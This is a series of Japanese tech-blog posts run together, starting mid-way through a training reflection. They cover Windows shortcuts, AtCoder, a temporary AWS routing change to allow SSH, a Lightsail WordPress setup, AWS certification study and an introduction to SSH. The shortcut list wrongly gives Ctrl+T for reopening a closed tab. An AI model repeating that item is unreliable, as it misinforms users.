また、技術やコミュニケーション、スケジュール調整など各々が得意なことで協力しあうことによって、期限内に良いものを完成させることが出来るのだなと思いました。 この開発演習は、時間設定がかなりタイトでしたので、開発プロジェクトが炎上している班も多くありました(笑) ですが時間設定がタイトだからこそ、「優先順位はどうするか？」「今回のフェーズでどこまでをリリースするか？」「効率の良い進め方は？」と技術のことだけではなく、プロジェクトマネジメントや仕事の進め方についても多く学べたと思います。 作業風景 作成したサイトの画面 成果発表会 チーム開発の集大成として、成果発表会を行いました。 成果発表会は現地とオンラインのハイブリッドで開催され、講師の方や先輩社員の方々が大勢いらっしゃってくれました！100人以上の先輩社員の方々が参加してくれた分とても嬉しかったのですが、かなり緊張しました(笑) 発表に関しては特にフォーマットがあったわけではないので、真面目に技術に関して話す班もいれば、いかに自分たちの班が上手くいかなかったかについて語ってくれた班もありました。 また発表後には、先輩社員のアンケートから最優秀賞、講師の方の評価からスキルアップ賞とチームワーク賞の班が選ばれました。 表彰式 僕の班は3つの賞には選ばれなかったのですが、自分たちが納得できるものを作って、先輩社員からのフィードバックでも褒めて頂けたので、最後まで頑張って良かったなと思いました。 チーム開発では一人での作業とは違った苦労やストレスがあり、なかなか上手くいかないことも多かったですが、その分この成果発表会後の達成感は最高でした。 業務ではチーム開発が基本になると思うのですが、上手くいかないときはこのチーム開発で味わった達成感を思い出して頑張ろうと思います！ さいごに 以上が、22卒システム職の研修振り返りになります。 もっと話したいことがたくさんあるのですが、あくまで概要ということで、今回はこのくらいで終わりにしたいと思います。 さらに詳しい話を聞きたい人は、インターンや説明会に参加すると教えてもらえるかもしれないのでぜひ、いろんなイベントに参加してみてください！ 今後も研修で学んだことを生かして、これから頑張っていきたいと思います！

はじめに 情報系出身ですがコピペすら右クリックしていた初心者の私が、入社してから教えていただいたもの、これから使ってみたいショートカットキーを備忘録としてまとめています。 ショートカットキーまとめ 業務編 一個前の状態に戻す Ctrl+Z 誤って切り抜いてしまった、消してしまったときに 一個前の状態に戻したものを元に戻す Ctrl+Y Ctrl+Zで戻しすぎてしまったときに これまでのコピーしたものを確認（クリップボードの履歴） Windows+V 直近でコピーした25件から選択して貼り付け可能 コピーを上書きしてしまったときに 画面分割 Windows+→or← 参考サイトを見比べながら作業したいときに 文字検索 Ctrl+F サイトや文書で対象の文字を探したいときに 閉じたブラウザのタブを再表示 Ctrl+T 間違って閉じてしまったブラウザのタブを呼び戻したいときに タイピング編 入力した文字全角を半角英語に変換 F10 1回目→半角の小文字（全部）、2回目→半角の大文字（全部）、3回目→半角で先頭のみ大文字 ｍｙなヴぃ　→　mynavi →　MYNAVI →　Mynavi 全角のまま半角英語を使いたいときに 共通文字をすべて選択したいとき Shift+Ctrl+L Ctrl+Dで同じ単語を一つ一つ選択できるが、これはすべてまとめて選択したいときに（コードエディター上） 全選択（範囲ごと） Ctrl+A わざわざスクロールしないといけないような文章量を選択するときに 資料作成編 スクリーンショット（範囲指定） Windows+Shift+S キーを押した後マウスで範囲を指定してキャプチャ クリップボードに保存されるのでCtrl+Vで貼り付け可能 スクショをすぐに共有したいときに 印刷 Ctrl+P サイトを印刷したいときやPDF化したいときに リモート会議編 画面のズーム Ctrl+マウスホイール 共有した画面のサイズ感をちょうどよくしたいときに（エクセル、スプレッドシートでも可能） 番外編 デスクトップの表示・非表示 Windows+D デスクトップ上のアプリを開きたいときに ウインドウで画面が埋もれてしまったときに タスクマネージャーを開く Shift+Ctrl+Esc PCが重い原因を調べたいときに おわりに 私自身、研修やインターンを通じて感じたことの一つにショートカットキーの偉大さがあります。 学生時代無縁だった私は、その機能や利便性にとても驚きました。 今回はWindowsのものをまとめましたが パワポやエクセルといったofficeのツールやGoogleのアプリなどそれぞれにショートカットキーがあるようなのでそのあたりも網羅できるとショートカットマスターになれるかもしれません。 ここまで閲覧していただきありがとうございました！

はじめに 今回は 学生の頃 に熱中していた AtCoder 、そして 競技プログラミング(競プロ) についてのお話を書かせて頂きました。AtCoderは世界最大規模の競技プログラミングコンテスト運営サイトです。2021年6月にはユーザー数が全世界合計で30万人を超えています( 参考サイト )。 今回この記事を書いてみようと思った理由はいくつかございますが、 学生の頃の記憶が薄れる前 に書いておきたいと考えたことと、 競プロとはどんなものであるか だけでも、 より多くの方に認知して頂きたい ことの2つが主な理由です。 競プロとはどんなものなのかという紹介から、私から見た競プロについて書かせて頂きました。 気になった箇所だけでも いいので、読んで頂けますと幸いです。 1. AtCoderの概要 1.1. 競技プログラミングとは 競技プログラミングは、プログラミングコンテストの一種であり、 「与えられた問題を解くプログラムのコードを書く技術」を競う競技 です。このコンテストを開催しているサイトの一つが AtCoder です。各コンテストにおいて参加者が以下の観点で評価され、順位づけされます。 解くことのできた問題の数 コーディングにかかった時間 コーディングの正確性 問題と点数 以下の様な問題がいくつか出題されます。 問題は「 AtCoder Beginner Contest 172 」から引用しております。 （引用元） このように簡単な問題から、 （引用元） このようにパッと見では分からなそうな難しい問題まであります。 こういった問題を解くプログラムのソースコードを提出すると、運営側が用意した いくつかのサンプルデータを入力値 としてそのプログラムが実行されます。全ての入力値に対して、 提出したソースコードの実行結果 と、 運営が用意した正解 が 一致 した場合に得点が加算されます(一部のみが一致した場合に部分点を与えているケースもあります)。 得点は 難しい問題ほど高く なります。上記の「A - Calc」は配点が100点、「D - Sum of Divisors」は配点が400点と記載されています。一つのコンテストにはあまり難しくない100点の問題から、かなり難しい問題まで幅広く用意されており、 初心者でも参加する敷居が低い と言えるでしょう。 コーディング速度と正確性 得点が同じ参加者は コーディングが早かった順(提出が早かった順) に順位が高くなります。 また、実行結果が以下のいずれかに該当する場合、 ペナルティ が課されます。 正解と出力が一致しなかった 場合 実行時エラー が発生した場合 実行時間が制限時間をオーバー した場合 この時、「ペナルティ回数×10分」と言った形で、 提出時間が長く見積もられる ようになります(AtCoderの場合)。そのため順位を高くするためには、コーディング速度だけではなく 正確性 や、 計算量 の見積もりも重要になってきます。 1.2. レーティングシステム 全てのユーザーはレートという値を持っています。この値がユーザーが持つ技術の指標となります。 簡単に言うとこの値が高い人ほど競プロの実力があると言えます。 レーティングは以下の特性を持っています。 参加したコンテストの順位に応じて変化し、 成績がいいほど数値が増加 する。 自分よりレートが高い人よりも順位が高ければ高いほど、 大きく増加 する。 逆に自分よりレートが低い人よりも順位が低ければ低いほど、大きく減少する。 レートの値に応じて色 が付与される。 これこそよく言われる 「AtCoderの色」 のことである。 色について詳しくは こちら 。 実際の私のレート推移がこちらです。 ユーザーはいつでもこのグラフを見ることができます。 最後の日付が昨年なことは気にしないでください…。 具体的な計算方法は こちら が参考になりそうです。複雑で私もよく分かっていないです。 AtCoderに取り組む人の大半はレートを大きくすること が目標だと言うことができるでしょう。 2. 学生が取り組む理由 AtCoderのユーザーは学生が多いです。( 参考URL ) 学生がAtCoderに取り組む理由は様々あると思いますが、この記事では 私とその友人 がAtCoderに取り組んでいた理由を書かせて頂きます。 2.1. 勉強になる 競技プログラミングでは以下の知識・技術が問われます。 アルゴリズムに関する知識とその応用 動的計画法、幅優先探索、深さ優先探索などの 有名アルゴリズムの知識 が身に付きます。 これらのアルゴリズムを適切な場面で利用・応用し、 コーディングする技術 が身に付きます。 計算量の見積もり 実行時間が制限時間をオーバーすることが無いようにするためには、 計算量(計算時間)を正しく見積もる 必要性があります。 一般的な情報・プログラミング言語の知識 「int型変数の最大桁数」などに理解が無いと オーバーフロー を起こすように設定された問題もあります。 数学の知識 数学の知識が役に立つ場面や問題もあります。 上記の「Sum of Divisors」という問題も数式を他の形で書き換えるという工夫が役にたちます。 競技プログラミングのレートを上げることはすなわち、 これらの知識を身に着けることと同義 です。こういった 知識・技術を身に着ける ために競技プログラミングに取り組んでいる学生が多くいることでしょう。 2.2. 就活になる これが目的の学生も多くいます。私もその一人でした。以下が存在することから、AtCoderが就活になると言えます。 AtCoder Jobsの存在 企業コンの存在 AtCoder Jobsの存在 AtCoderには、「AtCoder jobs」という求人紹介サービスが存在しています( こちら )。こちらには、様々な求人情報が掲載されており、 「レートが1200以上の方限定」 と言った形で、一定の実力を持つ人材のみに向けた求人も掲載されております。これにより レートを上げることで就活を有利に進める ため、AtCoderに取り組む学生が多い訳です。 また、AtCoderユーザーに向けた合同説明会もマイナビと共同開催されています( 参考 )。 企業コンの存在 コンテストの中には、 「企業がスポンサーしているもの」 が存在しています。これが企業コンと呼ばれているものです。 企業コンでは、以下のメリットがあります。 企業コンの参加者向けに企業から直接メールが来ることがある。 賞金が出ることがある。 こういった企業コンの存在も、就活の一環としてAtCoderに取り組む一因となっています。 2.3. 楽しい 自分が勉強し、練習すればするだけ、自分のレートや順位が上がる。これと似たものが世間には存在しています。 そう、オンラインゲームです。 シンプルにこのAtCoderのゲーム性が楽しくて取り組んでいる人も多いでしょう。私も自分のレートが上がった時の達成感を求めて、勉強したり、過去問に取り組んだりしていました。 3. 競プロで身につく技術・知識 「2.1. 勉強になる」で記載した内容と重複もございますが、以下の技術・知識が身につくと思っています。 アルゴリズム に関する知識とその応用 動的計画法、幅優先探索、深さ優先探索などの 有名アルゴリズムの知識 が身に付きます。 これらのアルゴリズムを適切な場面で利用・応用し、 コーディングする技術 が身に付きます。 計算量 の見積もり 実行時間が制限時間をオーバーすることの無いようにするためには、 計算量(計算時間)を正しく見積もる 必要性があります。 余計な工夫をすることなく 愚直な実装を行う という選択を行うことも時には必要です。この選択を行うためにも、計算時間の見積が必要と言えます。 一般的な 情報科学 ・プログラミング言語の知識 「int型変数の最大桁数」などに理解が無いと オーバーフロー を起こすように設定された問題もあります。 浮動小数点 の扱いによっては桁落ちが発生する問題等もあります。 コーナーケース への意識 全ての入力に対して正解を計算するためには、「入力が0の時」や「入力が最大値の時」といったコーナーケースへの処理を正確に行う必要があります。 数学 の知識 数学の知識が役に立つ場面や問題もあります。 上記の「Sum of Divisors」という問題 も数式を他の形式で書き換えるという工夫が役にたちます。 以上は筆者が思いついたものだけであり、これ以外にも身に着けることができる知識はあるかと思います。 4. 競プロでは身につかない技術・知識 競技プログラミングは特定の知識に特化した競技です。水泳でクロールの練習だけをしていても、個人メドレーで勝てるようにはなりません。同じように、 競技プログラミングの勉強をするだけでは、プログラミングの全てを学ぶことはできません 。そのためここでは、 競技プログラミングでは身につかない技術・知識 にもフォーカスを当ててみようと思います。 4.1. 可読性が高いコーディング 競プロにおいて、コーディング速度は命です。そのため、競プロにおけるコーディングでは以下を行っている人が多い印象があります。 コメントは書かない。 変数名・関数名はできるだけ短くする。その場で用途が分かればいい。 "count"という変数を使っていたら、友人に 「"cnt"の３文字でいいだろ！」 と怒られました…。 この辺りが原因となり、私も自分で書いたコードを見直したら、何が書いてあるのか分からなかったことが何度もあります。そのため競技プログラミングに取り組むだけでは、「可読性が高いコーディングを行う技術」は身につかないと言えるでしょう。 もちろん競技プログラミングの実力を上げるには「復習」も大事になります。そういった点で言うと、 「 可読性が低い コードを読む技術」 は身につくかもしれません。 4.2. アプリケーション開発の知識 これは 「競プロをやっていた自分が、学生時代に学ぶことができていなかった知識」 です。具体的には以下の知識・技術が挙げられます。 ライブラリ・フレームワーク の使い方 一部ライブラリは使いますが、アプリケーション開発で使うようなGUIを提供するものなどは一切使わないと言えます。 処理速度とサービス内容のバランス 感覚 サービスの内容によっては処理速度を犠牲にする必要もあります。こういった複合的な判断を行う技術は身につかないと言えます。 Git や IDE など様々なツールの使い方 エディタさえあればなんとかなります。最悪 エディタがなくても なんとかなります。 チーム開発 や 開発工程 、 プロジェクトマネジメント の知識 そもそも個人で取り組むものが大半です。チームで参加する大会も存在はしていますが、チーム開発とは少し違うと思います。 こうした開発に関わる知識に関しては、競技プログラミングで学ぶことができないと言えるでしょう。 4.3. その他情報関連の知識 アルゴリズムというものに特化した競技である以上、コーディングと直接のかかわりが少ない、以下の分野の知識については、競プロを通して学ぶことは難しいと思います。 サーバーやネットワークなどのインフラに関する知識 セキュリティ対策 SQLなどのDBに関わる知識 このように競プロだけでは身につかない知識は多くあるかと思います。 5. 終わりに 競技プログラミングは昔から賛否両論ある文化だと聞いています。実際メリットはあるものの、これだけでは不十分であるということはこの記事からも分かると思います。 しかし、 勉強の一環 として取り組んだり、 趣味として楽しむ ものと考えると、 様々なリターンがある とてもいい文化ではないでしょうか。

はじめに ※このお話はフィクションです。 「一瞬でいいからSSHがしたいんです……」 この1つのチャット通知から私の闘いがはじまりました。 これはその奮闘記となります。 現状の確認 現状の構成は以下です。 わかる方にはわかるかと思いますが、現状の構成ではSSH接続は叶わぬ夢です。 踏み台サーバを構築すれば一発かとは思うのですが、こちらのシステムは非常にギリギリの予算で運用されていました。 そのため、踏み台用EC2を作成し使用することは一時的にも難しいです。 力戦奮闘記録 構成 結論からお伝えすると、力業でプライベートサブネット（protected subnet）を無理やりパブリックサブネットにしました。 ※protected subnet プライベートサブネットとほぼ同義の認識で大きくはズレていないのですが、今回はNATゲートウェイを使用することでプライベートサブネットからインターネットへの通信が可能になっています。 このように「プライベートなサブネットからのインターネットへの通信は可能、インターネット側からはプライベートなサブネットにアクセスできないようにしているサブネット」のことを指しています。 構成図で表すと以下のような感じです。 手順 SSHしたい対象のEC2がいるサブネットを確認します。 次に、サブネットのルーティングを変更します。 サブネット>詳細>ルートテーブル>ルート>ルートを編集 ターゲットをNATゲートウェイからインターネットゲートウェイに編集します。 プライベートサブネット（だったもの）からインターネットへの通信が可能なルーティングになりました。 次にEC2を見ていきます。 ここでしまった！と思いました。 サブネットの種類が変わればEC2もパブリックなものに変わるかなと予想していたのですが、どうやら予想は外れてしまったようでした。 パブリックIPを持たずに生まれてきたEC2は、EC2が存在しているサブネットがパブリックになっても自然にパブリックIPが付与されるというわけではないようです。 このままではSSH接続はできないので、無理やりパブリックIPを付与していきます。 この際、使用したサービスは Elastic IP です。 「Elastic IPアドレスを割り当てる」>割り当て これでEIPを手に入れることができます。 アクション>Elastic IPアドレスの関連付け>インスタンス>該当のインスタンスを選択 これで手に入れたEIPをインスタンスに付与することができます。 ここで、「あれ？EIPってお金かかるんじゃないの？」と思った方もいらっしゃるかと思います。 ご安心ください。 EIPが関連付けられているEC2インスタンスが起動しており、そのインスタンスにEIPが1つしかアタッチされていな場合は料金が発生しません。 というわけで無事、（追加料金なしで）pokepokeというEC2にSSH接続が可能となりました。 さいごに SSHでの作業も終わりましたので元の構成に戻してめでたしめでたしです。 今回は複雑な構成ではなかったので元に戻す作業も無事終えることが出来ましたが、複雑な構成の場合ですと戻し忘れや設定変更による影響が怖いです。 踏み台用EC2であれば、スペックをおさえたt3.nanoのインスタンスでも十分かと思います。 Amazon EC2 オンデマンド料金 をご確認いただければ費用としてもそこまでの額ではないことがわかると思います。 次からは横着せずに踏み台サーバ経由でのSSH接続を試みようと思います。

そもそもLightsailとは 公式サイト より引用 Amazon Lightsail は、数クリックでウェブアプリケーションやウェブサイトを立ち上げられる、使いやすいクラウドリソースを提供します。Lightsail は、インスタンス、コンテナ、データベース、ストレージなどの簡素化されたサービスを提供します。Lightsail では、WordPress、Prestashop、LAMP などの事前に設定されたブループリントを使用して、ウェブサイトやアプリケーションを簡単に立ち上げることができます。 ⇒自分なりに言い換えると、 AWSが提供している仮想プライベートサーバー（VPS）で必要な設定が少なく始めやすい。 簡単なウェブサイトをEC2で作ろうと思ったときに通常VPC,ALB,EC2,…など必要になるところが、Lightsail内で全て完結する。（※自動でやってくれる部分が多い分ため制限もある） wordpress構築検証 下図を構築します。 HTTPSは必須として、その他も絞れるところは絞っていきます。 lightsailのロードバランサにWAFをアタッチすることはできないため、cloudfrontを前段に置いています。 lightsailインスタンス AWSコンソール画面のサービスからlightsailを選択すると、lightsail用のページへ飛びます。 lightsailホーム画面>インスタンス>インスタンスの作成 必要な項目 リージョン 東京を選択 アベイラビリティーゾーン ZoneAを選択 プラットフォーム Linux/Unixを選択 設計図 Apps + OS WordPressを選択 インスタンスプラン →Memory:4GB,Processing:2vCPUs,Storage:80GB,Transfer:4TBを選択 これだけでwordpressが立ち上がります。 インスタンスはEC2のように、画面上で停止や再起動が可能です。 作成したインスタンスの詳細を見てみます。 ・接続 "SSHを使用して接続"からセッションマネージャのようにブラウザでサーバへアクセス可能です。 "デフォルトキーのダウンロード"からSSHキーが入手できるので、SSHクライアントを使うこともできます。 どちらの方法でも接続ができました。 SSHクライアントでも接続できたので、どこからでも接続できるようになっている??かもということで、セキュリティグループの設定がないかどうか確認します。 ・ネットワーキング "IPv4ファイアウォール"を見るとデフォルトで22,80,443が0.0.0.0/0で空いていました。 一先ず社内IPのみを許可しておきます。 この段階でパブリックIPでアクセスすると以下が表示されます。 最初からwordpressが入っていることがわかります。 ・メトリクス CPU,ネットワーク,ステータスがデフォルトで確認できるようになっています。 この記事ではwordpressにログインするところは記載しませんが、wordpressのアカウント情報の確認方法は lightsailの公式ドキュメント に載っています。 lightsailロードバランサー 次に独自ドメインでアクセスできるようにします。 lightsailホーム画面>ネットワーキング>ロードバランサーの作成 必要な項目 リージョン 東京を選択 初期設定 HTTPを選択 証明書がないのでHTTPSは選択できません 作成したロードバランサーの詳細を設定します。 ・ターゲットインスタンス 作成したインスタンスをアタッチします。 ・インバウンドトラフィック HTTPSに対応させるために、証明書を発行します。 ACMと同じでドメインを入力するとDNS検証 で登録すべき値が出てくるのでDNSサーバに設定します。 ここでのドメインはorigin-xxx.mynavi.jpとします。 証明書が有効になるとHTTPSを選べるようになります。 ここまで完了するとHTTPSが有効になります。 この段階でorigin-xxx.mynavi.jpにアクセスすると以下が表示されます。 パブリックIPでアクセスしたものと同じになりました。 cloudfront ここの作業はlightsailから離れるので割愛します。 設定した内容は以下です。 Cloudfront オリジンはorigin-xxx.mynavi.jp ACM xxx.mynaiv.jpを設定 WAF Cloudfrontにアタッチ この段階でxxx.mynavi.jpにアクセスすると以下が表示されます。 アクセス制限について Cloudfrontのみ443で受け付けたいとします。 ロードバランサーにはファイアウォールが備わっていないのでCloudfront外からもorigin-xxx.mynavi.jpで受けることができてしまいます。 また、インスタンスはファイアウォールがありますがロードバランサーのIPは変動するため制限をかけることができないです。 そのため、インスタンス内で制限をかけるしかなさそうです。 Cloudfront→ALB→EC2の場合は ALB SGでCloudfront（AWSマネージドプレフィックスリスト）のみ許可し、EC2 SGでALB SGのみ許可することができましたがlightsailではこのようにできませんでした。 費用について lightsailとEC2の料金を比較してみようと思います。 前提としてスペックは以下とします。 4 GB メモリ 2 コアプロセッサ 80 GB SSD ディスク 比較 lightsail：月額 $20 EC2(t4g.medium)：月額 $29.46 lightsailの方が安いことがわかりました。 比較するためにlightsailの中でも真ん中のサイズを選びましたが、一番小さいサイズだと月額$3.5となっていました。 まとめ 簡単に作ることができて、安いというのは確かにそうだなと感じました。 冒頭にも書いた通り、細かい設定ができないところが欠点となりそうです。 ・EC2のFirewallはIPベースのみの設定 ・ロードバランサーにFirewallがない ・ロードバランサーにWAFがアタッチできない 簡単にたてて使ってみるという点では適しているという印象を持ちました。

はじめに こんにちは。インフラソリューション部（現デジタルテクノロジー戦略部）のU.Jです。 今回はAWS認定 Solution Architect Professionalに合格した話をしたいと思います。 11月に試験内容更新されてしまいますが、 今後受ける誰かの参考になれば幸いです！ ※試験の形式や方向性自体は、現在の内容と同じです。（ 詳細 ） AWS認定 Solution Architect Professionalとは https://aws.amazon.com/jp/certification/certified-solutions-architect-professional これを読んでいる人にわざわざ説明するまでもないとは思いますが… AWSの専門知識やスキルを有していることを認定する、AWS公式資格「 AWS認定 」のうち、専門領域を絞らず広く全体の知識・経験を問う「Solution Architect」のProfessional版です。 以下SAPとします。 （※ERPのアレではない。アレはアレでSAP on AWSという認定試験があるので紛らわしいですが。） Solution Architect Associateとの比較 基礎的な知識・経験の習得証明としてはSolution Architect Associate（略してSAA）が存在しますが、SAPでは SAAより実践的な知識が求められる サービスの選定だけでなく、具体的な細かい設定手順まで言及があるケースも 問題数・1問あたりのボリュームが多い 設問はほぼ全て既存構成や要件の説明で始まり、複数サービスの設定を組み合わせて構成案や改善案を出す内容 公式ではSAAは「スケーラブルな構成の構築経験を1年以上」、SAPは「クラウドアーキテクチャの実務経験を2年以上」としている SAAと比べて、よく見る三層構成ではないパターンがかなり増える といった違いがあります。 Specialityとの関係 AWS認定のカテゴリにはAssociate, Professionalの他にSpecialityがあり、例えば機械学習、セキュリティ、データベースなど個別領域の深い知識・経験はそれぞれ対応する試験があります。 Specialityが各領域の専門サービスの利用法を掘り下げるのに対して、SAPはクラウドアプリケーションのアーキテクチャ設計を軸に据えつつ、AWS全体を見てサービスの選定やオプション設定の方針を問う、、、みたいなイメージです。 パワ〇ロのサクセスと栄冠ナインみたいなもんですかね（わかりにくい喩え）。 受験した背景 実は2年ほど前にノリで受けて一回落ちてます。 2019年夏にSAAに合格して、秋に同僚が SAPの学習集中プログラム を見つけて、ITソリューション部（当時）と商用基盤部（当時）の若手としてそれぞれAWSスキルを先導できるようになっておいて損はないよね、みたいな理由で学習し始めたのがきっかけです。 で、無事2人とも不合格となり、その後再受験を考えているうちにコロナだのなんだの色々あって機会を逃してモチベも下がっていたのですが、 AWSの構成や移行に関して技術部隊として一定水準以上の知識を求められるようになったこと AWS統合PJでOrganizationsによる統制なども手掛けるようになったこと SAAが3年で失効したこと 等々ありまして、SAAを更新するくらいならSAP受けようということで受験に至りました。 学習教材 公式リファレンス 個人用AWSアカウント・業務検証用AWSアカウント ホワイトペーパー 読み込むのはかなりしんどいので、基本的には各領域・サービスのベストプラクティスについて疑問点があったらホワイトペーパー読む、くらいの感じでした 問題集・模試 AWS認定ソリューションアーキテクト-プロフェッショナル ~試験特性から導き出した演習問題と詳細解説 1回目に落ちた後に刊行され、同僚からプレゼントされた良書 よかった（こなみかん） 2020年当時の情報なので若干古い点には注意 わかりやすい所だと、AWS SSO（現IAM Identity Center）のIdPのSAML対応とか AWS Skill Builderの模試（無料） 参考: https://dev.classmethod.jp/articles/new-aws-official-practice-questions/ AWS公式模試 本番よりレベルもちょっと低いが、Summitなどでよく配られている無料バウチャーがあればやっておいても損はない 学習の流れ 学習集中プログラム に沿って出題される領域を把握しておく 他に良い参考書があればそれでいいかもしれない 上記の問題集の前半などでもまとまってはいるが、少々簡潔すぎるきらいがある 領域ごとに知らないサービスの概要を読んで自分の中で整理 一度公式模試を解き、求められる知識の粒度を把握 触れるサービスは直接触る 業務で触れる場合は最大限活用する 触れないものは問題集の解説をベースに、DevelopersIO等の事例記事を読み込む 読み込んだ知識を問題集で整理、補強 わからない部分、ちょっとでも疑問に思う部分があればリファレンス読んだり、実際にアカウントの設定画面見てみたり 問題集末尾の模試で仕上げ 3時間かかる模試を受験前日の夜21時から解き始める人間の屑 1回目の受験時はちょこちょこと4ヶ月くらいやってたんですが、今回は仕事の忙しさもあり、問題集を中心に1ヶ月弱程度の勉強期間でした。 試験について 1回目・2回目どちらもテストセンターで受けました。身分証明書が2種類いる点に注意。 テストセンターは場所によってオンラインカメラのリアルタイム監視があったりなかったりします。 1回目はありましたが、不具合発生時にカメラの向こう側の人と英語でコミュニケーションを取らなければならず、姿勢なども細かく見られそうなので、無い所の方が良いかなと思いました。 あとメモ用の筆記具がボールペン＋紙だったりホワイトボード＋マジックだったり、ばらつきがあるようです。よくわからないので運です。 試験時はあらゆる私物を没収されるので、サービスのリリース直後など緊急連絡があり得る際に行くのはおススメしません。 試験中の感想 とにかく時間がない 180分で75問なので1問あたり2.4分 こう書くとSAA（65問で130分）より余裕はあるんですが、ほとんどが4~6行にわたる長文の上、前後の問題につながりが無いため切り替えが大変で集中力が持たないです。 他所の体験記を読むと「とにかく反射で答えられる問題を増やして2時間ちょっとで一旦解ききれるように～」とか書いてありましたが、そこまで対策できていなかった自分は、解き終わった時点で残り5分切ってました。 時間があったら楽勝とは言ってない 細かいオプション項目を覚えていなかったりすると絞り切れない選択肢がかなりあります。 筆記具は一度書いたら消せないので使うタイミングがよくわからなくなる 結局、データ移行の問題で転送量計算するのに使ったくらいでした。 大体どこのテストセンターにも、周囲の音シャットアウト用のヘッドホンがあるが、1時間もつけてるとこめかみのあたりが痛くなってくる 会場がよっぽどうるさいならともかく、そうでないならつけない方が良いのでは。 自分の頭がでかいだけかもしれない。 結果 完全勝利 試験のポイント（私見） 自分なりに得た知見をいくつか。 わからなくても長時間悩んでないで直感を信じる 時間配分がシビアなので、これがすごく大事。 BlackBeltでも「（多少わからない所があって直感になっても）ええんやで」って言ってました。 それを織り込み済みで問題作成や採点をしてるというか、直感でわかるということは考え方が多少なりとも身についてる筈、という考えの様子。 問題が何を重視しているのか必ず確認する 機能の実現だけであれば複数の選択肢が当てはまる場合、「最もコスト効率に優れた設計」「最も可用性・信頼性の高い設計」「最も既存のアプリケーションの改修が少ない設計」など重視してるポイントが鍵になります。 特にRTO, RPOが提示された場合は、（それらを満たした上での）コスト効率を重視していることが多いです。 RTOに余裕があればホットスタンバイは必要ないし、RPOに余裕があればDBは同期でなくスナップショットからの復旧で充分かもしれません。 問題文を必ずよく読みましょう。 各サービスの設定オプションや作業手順まで目を通しておく 感想の所でも書きましたが、細かいオプション項目を覚えていなかったりすると絞り切れない選択肢がかなりあり、「サービスの概要と基本的なユースケースはわかっている」程度のレベルだとあっさり討ち死にします。。 また、「VPC内のサブネットのCIDR割当を変更したい場合に直接変更できるか、一度削除する必要があるか」みたいな、構成図だけ覚えていると盲点になるようなことも問われます。 サービス単体ではなく、他のサービスと組み合わせたユースケースを叩きこんでおく 「1つのサービスの理解だけを問う問題」と「複数サービスの適切な組み合わせと設定を問う問題」がありますが、割合としては圧倒的に後者が多いです。 よく見かける組み合わせ（SQS + LambdaとかDirect ConnectとVPNの二重化とか）については構成図だけでなく、どういう理由でその組み合わせになっていて、そのためにどういう設定が必要か、という所まで落とし込んで理解しておく必要があります。 得意分野を1つ以上作っておく 1分未満で回答できるような分野があると、多少時間が厳しくても心に余裕ができます。 自分の場合、Organizations絡みやIAM系は考えずに反射で回答できるようにしてました。 問題の状況設定に関わらず切り捨てられる選択肢を増やしておく 例えば以下のような記述の選択肢は、そもそもサービスの仕様に反しているため、前提に関わらず無条件に除外できます。 ～のデータを、Kinesis Firehoseを経由してLambdaで加工する →FirehoseはS3、Redshift、ES（OpenSearch）にデータを流し込むためのサービスであって、ストリーミングしながら加工するみたいなことはData Streamsの役目。 （CloudFront/ALBなど）に対して、Shield Standardを有効化する Shield StandardはAWS側が対象の全リソースに対して自動で有効化しているものであって、手動で有効化する手順は存在しない。 RedshiftのノードをマルチAZに配置して～ 2022年7月現在、RedshiftはマルチAZ構成を取れない。 SystemsManager Parameter Storeにパラメータを格納し、定期的にローテーションする ローテーションしたかったらSecrets Managerを使う必要がある。 こういうのを秒で弾けるようになると、他の選択肢の検討をする時間に余裕ができるので、問題集などを解きながら武器を増やしておくのが吉です。 ややこしい名称は必ず整理しておく 例えば、 「グローバルテーブル」（DynamoDB）と「グローバルデータベース」（Aurora） 「IAMアクセスアナライザー」と「IAMアクセスアドバイザー」 たまにこれにTrusted Advisorも混ぜてくる Transit Gateway、Direct Connect Gateway、Customer Gateway、Virtual Private Gateway などなど、「概念や用途は理解しているが名前を正確に覚えてない」という人を狙い撃ちにしてくる場合が結構あります。 こういうので頭抱えたりすると精神的にもしんどい。 頻出シチュエーションを押さえておく その時々で流行もあると思いますが、マルチリージョンによるDR対策が多いかなという印象。 それに絡んでDBの選択、Route53のDNSラウンドロビンにおけるルーティングポリシーの設定、CloudFrontなど。 ​ また、マルチアカウントの話もちょこちょこ出ます。「部門に使わせるサービスを制限したい」みたいな、あからさまに「OrganizationsでSCP使え」って言ってる問題が結構出るので、SCPとIAMポリシーの関係をしっかり押さえておけばボーナス問題です。 （とか余裕ぶっこいてるとBudget周りで引っかけがあったりしますが） まとめ 落ちた時と合格した時であまり手応えに違いが無く、試験終了時に合格と表示されてもいまいち実感が無かったのですが、結果としては多少余裕のある点数を取れていたようでほっとしました。 なんだかんだで2年の間の業務経験が活きたかなと思います。 問題を解く上で「あ、これあの時業務で触ったアレだ！」となったケースも少ないながらありました。 よく言われることかと思いますが、資格を取ること自体を目的とするのではなく、資格のために学習すること・知識や経験をつけることが大事です。 その点で言うとSAPは比較的「机上での表面的な学習だけでは点が取り辛い」作りになっており、勉強のために実際にサービスに触れたり事例を漁ったりすることで実践的な力がつきやすいのかなと思います。 SAPの問題＝要件に合わせて構成を考える仮想体験であり、上で挙げたポイントもそのまま実際に構成を考えたりレビューする時の観点に繋がりますので、間違いなく業務に役立ちます。 受験料が3万円と結構お高いので中々気軽には受けられませんが、試験に向けて資料を読み込んだり問題を解くだけでも充分実入りがあるので、興味のある方は是非トライしてみてください！！ ※ちなみにマイナビでは、1回までは会社から受験料が出る「資格支援制度」がありますので、自己研鑽としてこの制度を利用する方も多いです 以上、最後までお読みいただきありがとうございました！

sshとは secure shellの略称で、サーバを遠隔操作するためのプロトコルの名称です。 そもそもプロトコルとは、データをやり取りするために定められた手順や規約、信号の電気的規則、通信における送受信の手順などを定めた規格のことを言います。 sshの最も一般的な使い方は、自分のPCからサーバへのリモートログインやファイルの転送です。専用のサーバルームや遠隔地のデータセンター内に設置されているサーバの操作は、ネットワーク越しにリモートログインして行うのが一般的です。 また、クラウド上のサーバーは物理的に触れることができないため、ネットワーク越しに操作するしかありませんので、その際にsshを利用してサーバにログインします。 sshが使われる前は、telnetが主流でした。しかしtelnetは暗号化せずにデータを送受信するため、第三者からデータが丸見えです。 sshでは認証部分を含めて、全ての通信が暗号化されているので、第三者からデータが見られず、さらに高速なので、現在はsshが主流になっています。 簡単にまとめると、「こういうルールのもとで通信を行うことをsshと呼びましょう」ということです。そのルールに従っていると以下のようなメリットがあります。 sshを利用するメリット 1. 安全な通信が可能 暗号化された通信により、大切な情報を第三者に見られることなく、安全に情報を取り扱えるようになります。 また、認証方法には公開鍵暗号方式が使われるため、なりすましによるアクセスを防ぐことが可能です。 